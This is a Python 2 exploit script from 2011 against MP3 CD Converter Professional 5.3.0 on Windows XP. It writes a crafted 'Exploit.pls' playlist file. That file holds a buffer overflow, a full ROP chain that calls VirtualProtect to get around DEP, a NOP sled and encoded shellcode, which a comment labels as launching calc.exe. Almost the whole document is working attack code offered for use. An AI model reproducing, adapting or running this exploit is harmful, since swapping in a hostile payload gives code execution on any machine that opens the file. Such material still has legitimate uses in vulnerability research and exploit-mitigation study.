#!/usr/bin/python
#
#[+]Exploit Title: MP3 CD Converter Professional Universal DEP Bypass Exploit
#[+]Date: 11\08\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://www.mp3-cd-converter.com/mp3cdconverter.exe
#[+]Version: 5.3.0
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese
#[+]CVE: N/A
#
from struct import pack
from time import sleep
from sys import exit
print '''
Created By C4SS!0 G0M3S
E-mail louredo_@hotmail.com
Blog net-fuzzer.blogspot.com
'''
sleep(2)
shellcode = ("\xba\xcb\x38\xf3\xb9\xd9\xc7\xd9\x74\x24\xf4\x5f\x2b\xc9"
"\xb1\x32\x83\xef\xfc\x31\x57\x0e\x03\x9c\x36\x11\x4c\xde"
"\xaf\x5c\xaf\x1e\x30\x3f\x39\xfb\x01\x6d\x5d\x88\x30\xa1"
"\x15\xdc\xb8\x4a\x7b\xf4\x4b\x3e\x54\xfb\xfc\xf5\x82\x32"
"\xfc\x3b\x0b\x98\x3e\x5d\xf7\xe2\x12\xbd\xc6\x2d\x67\xbc"
"\x0f\x53\x88\xec\xd8\x18\x3b\x01\x6c\x5c\x80\x20\xa2\xeb"
"\xb8\x5a\xc7\x2b\x4c\xd1\xc6\x7b\xfd\x6e\x80\x63\x75\x28" # Shellcode WinExec "Calc.exe"
"\x31\x92\x5a\x2a\x0d\xdd\xd7\x99\xe5\xdc\x31\xd0\x06\xef" # BadChars "\x00\x3d"
"\x7d\xbf\x38\xc0\x73\xc1\x7d\xe6\x6b\xb4\x75\x15\x11\xcf"
"\x4d\x64\xcd\x5a\x50\xce\x86\xfd\xb0\xef\x4b\x9b\x33\xe3"
"\x20\xef\x1c\xe7\xb7\x3c\x17\x13\x33\xc3\xf8\x92\x07\xe0"
"\xdc\xff\xdc\x89\x45\xa5\xb3\xb6\x96\x01\x6b\x13\xdc\xa3"
"\x78\x25\xbf\xa9\x7f\xa7\xc5\x94\x80\xb7\xc5\xb6\xe8\x86"
"\x4e\x59\x6e\x17\x85\x1e\x80\x5d\x84\x36\x09\x38\x5c\x0b"
"\x54\xbb\x8a\x4f\x61\x38\x3f\x2f\x96\x20\x4a\x2a\xd2\xe6"
"\xa6\x46\x4b\x83\xc8\xf5\x6c\x86\xaa\x98\xfe\x4a\x2d")
################################ROP START HERE############################################
rop = pack('<L',0x00425C69) * 4 # RETN
rop += pack('<L',0x0045125a) # PUSH ESP # POP ESI # RETN 04
rop += pack('<L',0x00425C69) * 2 # RETN
rop += pack('<L',0x0046194c) # XCHG EAX,ESI # RETN
rop += pack('<L',0x0040d8b1) # XCHG EAX,ECX # CLD # ADD AL,0 # POP EDI # POP ESI # POP EBP # POP EBX # ADD ESP,8 # RETN 04
rop += "A" * 24 # JUNK
rop += pack('<L',0x00425C69) * 2 # RETN
rop += pack('<L',0x10008d68) # POP EDI # RETN
rop += pack('<L',0x00425C69) # RETN
rop += pack('<L',0x1000176a) # POP EBP # RETN
rop += pack('<L',0x004319e6) # PUSH ESP # RETN // Endereco de retorno da funcao VirtualProtect
rop += pack('<L',0x0043017a) # POP EBX # RET
rop += pack('<L',0x00000500) # Valor de dwSize
rop += pack('<L',0x004078f6) # POP EDX # ADD EAX,4C48300 # POP ESI # RETN
rop += pack('<L',0x00000040) # Valor de flNewProtect
rop += "BBBB" # JUNK
rop += pack('<L',0x0040dc8c) # POP ESI # RETN
rop += pack('<L',0x01E5225F) # JMP DWORD PTR DS:[EAX] // Jmp to eax, EAX == VirtualProtect
rop += pack('<L',0x00444ad3) # POP EAX # RETN
rop += pack('<L',0x007EC070) # Ponteiro para VirtualProtect
rop += pack('<L',0x1000734d) # PUSHAD # RETN
################################ROP END HERE###############################################
buf = ("A" * 16)
buf += pack('<L',0x00456333) # ADD ESP,318 # RETN 4
buf += ("B" * (784-len(buf)))
buf += pack('<L',0x004462D0) # ADD ESP,51C # RETN
buf += ("A" * 24)
buf += rop
buf += "\x90" * 10
buf += shellcode
buf += "C" * 50000
print "\t\t[+]Creating Exploit File..."
sleep(1)
try:
f = open("Exploit.pls","wb")
f.write(buf)
f.close()
print "\t\t[+]File \"Exploit.pls\" Created Succefully."
sleep(1)
except IOError,e:
print "\t\t[+]Error: "+str(e)
exit(-1)
